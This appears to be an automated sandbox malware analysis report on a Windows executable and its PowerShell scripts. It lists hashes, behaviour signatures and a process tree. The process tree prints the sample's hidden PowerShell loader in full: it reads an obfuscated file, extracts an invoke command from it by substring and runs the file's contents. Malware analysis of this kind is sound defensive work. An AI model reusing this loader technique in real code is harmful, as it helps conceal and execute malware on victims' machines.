Overview
overview
10Static
static
1a681f4e8af...f8.exe
windows7-x64
8a681f4e8af...f8.exe
windows10-2004-x64
10$_8_/Ricke...ox.ps1
windows7-x64
3$_8_/Ricke...ox.ps1
windows10-2004-x64
8$_8_/nsis.ps1
windows7-x64
3$_8_/nsis.ps1
windows10-2004-x64
3$_8_/powershell.ps1
windows7-x64
3$_8_/powershell.ps1
windows10-2004-x64
8Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09-11-2024 03:21
Static task
static1
Behavioral task
behavioral1
Sample
a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$_8_/Rickettsialpox.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$_8_/Rickettsialpox.ps1
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
$_8_/nsis.ps1
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
$_8_/nsis.ps1
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
$_8_/powershell.ps1
Resource
win7-20240729-en
Behavioral task
behavioral8
Sample
$_8_/powershell.ps1
Resource
win10v2004-20241007-en
General
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Target
a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe
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Size
1.9MB
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MD5
9e2bb9641df1f89ec932ce2ecf61bbf0
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SHA1
3067d1088a5d90fa870ad97b9eaa778c25a6eb67
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SHA256
a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8
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SHA512
cf6dfe990d769f83d0399d075353684daebf3a0fb992d38233e2547056419f86ca8db852bc269d775e47f8a71144f04d2ed8ce3ca4391077fc63cfb8a4ebc1b6
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SSDEEP
49152:2s1VyT2ZuEaGmRt6jQf1Xgy8xDZBQq1ryC01BeLE/5:jV9aGFcf1XF86qaSc
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2548 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2548 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2532 wrote to memory of 2548 2532 a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe 32 PID 2532 wrote to memory of 2548 2532 a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe 32 PID 2532 wrote to memory of 2548 2532 a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe 32 PID 2532 wrote to memory of 2548 2532 a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe 32
Processes
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C:\Users\Admin\AppData\Local\Temp\a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe"C:\Users\Admin\AppData\Local\Temp\a681f4e8aff080bfbfeead57c1d44c7dc4165fe18fb72f3e22cea7b7e06a44f8.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Alfarvejens=Get-Content -Raw 'C:\Users\Admin\AppData\Local\endophasia\irrationalitets\andengradspolynomium\Rickettsialpox.Smk';$Kttttys=$Alfarvejens.SubString(38302,3);.$Kttttys($Alfarvejens)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2548
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
39B
MD515c97ed976d1891e37f7696b4f5e9189
SHA1eed982e518ed4cb2132cbdaf81ec394076df279a
SHA25669271a35c306170aecfa489a6c2e49f998936425981c7cc2f4f523ba1ff11ecf
SHA51252a7b134cb3fd46c54eee4daaca7ca3449cd99214761e94f186990a48de8381687498e0eeb26d16896b315c0f878192688abad1144e3b1bc8b797f5cf05ba419